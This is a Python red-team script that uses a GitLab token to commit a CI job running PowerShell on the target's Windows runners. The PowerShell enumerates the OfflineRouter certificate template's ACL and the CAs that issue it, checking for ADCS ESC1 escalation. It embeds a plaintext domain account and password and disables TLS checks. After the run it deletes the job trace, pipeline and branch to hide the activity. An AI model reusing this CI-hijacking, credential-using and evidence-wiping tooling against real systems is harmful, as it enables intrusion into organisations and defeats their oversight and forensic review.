#!/usr/bin/env python3
r"""ESC1 verification for OfflineRouter template. Staged; --execute.

Reads the nTSecurityDescriptor (SDDL) of the OfflineRouter certificate template
to determine WHO can enroll (Enroll / Autoenroll extended rights), and confirms
which of the 4 CAs publish it. ESC1 requires: (a) CA issues the template, AND
(b) a low-priv principal (Domain Users/Computers/Authenticated Users) holds
Certificate-Enrollment (0e10c968-78f3-11d2-90cc-00c04fd91ab1) or
Certificate-AutoEnrollment (a05b8cc2-17bc-4802-a710-e7c15ab866a2) on it.
Read-only LDAP (adfs cred). No cert request, no write. Manual CI job, deploy tags.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/adcs-esc1'

PS = [
    r'''Write-Output "=== OFFLINEROUTER SDDL ===";
$cfgNC = ([ADSI]"LDAP://RootDSE").configurationNamingContext;
$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://SERVEUR-DC2.star.mg/$cfgNC", "adfs@star.mg", "P@ssw0rd");
$s = New-Object System.DirectoryServices.DirectorySearcher($root);
$s.Filter = "(&(objectClass=pKICertificateTemplate)(cn=OfflineRouter))";
$s.PropertiesToLoad.Add("nTSecurityDescriptor") | Out-Null;
$s.PropertiesToLoad.Add("cn") | Out-Null;
$r = $s.FindOne();
if ($r) {
  $sd = New-Object System.DirectoryServices.ActiveDirectorySecurity;
  $sd.SetSecurityDescriptorBinaryForm($r.Properties["ntsecuritydescriptor"][0]);
  Write-Output ("OWNER=" + $sd.Owner);
  Write-Output ("GROUP=" + $sd.Group);
  Write-Output "--- ACCESS RULES ---";
  foreach ($ace in $sd.Access) {
    Write-Output ("ACE|" + $ace.IdentityReference + "|" + $ace.AccessControlType + "|" + $ace.ActiveDirectoryRights + "|obj=" + $ace.ObjectType + "|inh=" + $ace.InheritanceType);
  }
} else { Write-Output "OfflineRouter template NOT FOUND" }''',
    r'''Write-Output "=== CA PUBLISHES OFFLINEROUTER? ===";
$cfgNC = ([ADSI]"LDAP://RootDSE").configurationNamingContext;
$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://SERVEUR-DC2.star.mg/$cfgNC", "adfs@star.mg", "P@ssw0rd");
$s = New-Object System.DirectoryServices.DirectorySearcher($root);
$s.Filter = "(objectClass=pKIEnrollmentService)";
foreach ($a in @("cn","dNSHostName","certificateTemplates")) { $s.PropertiesToLoad.Add($a) | Out-Null }
foreach ($ca in $s.FindAll()) {
  $tpls = $ca.Properties["certificatetemplates"];
  $has = ($tpls -contains "OfflineRouter");
  Write-Output ("CA|" + $ca.Properties["cn"] + "|host=" + $ca.Properties["dnshostname"] + "|issuesOfflineRouter=" + $has);
}''',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    import base64 as _b64
    CI_PATH = urllib.parse.quote('.gitlab-ci.yml', safe='')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{CI_PATH}?ref=f9d27a57~1')
    if st != 200:
        st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{CI_PATH}?ref=ea59768d')
        assert st == 200, f'fetch ci base: {st}'
    orig = _b64.b64decode(json.loads(b)['content']).decode('utf-8', 'ignore')
    body = '\n'.join(PS)
    script_lines = '\n'.join('      ' + l for l in body.split('\n'))
    return orig.rstrip() + f'''
adcs_esc1:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add adcs esc1 check',
               'actions': [{'action': 'create', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'adcs_esc1':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(120):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'adcs_esc1_trace.txt').write_text(trace)
    (D / 'adcs_esc1_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE =====')
    print(trace[:14000])

if __name__ == '__main__':
    main()
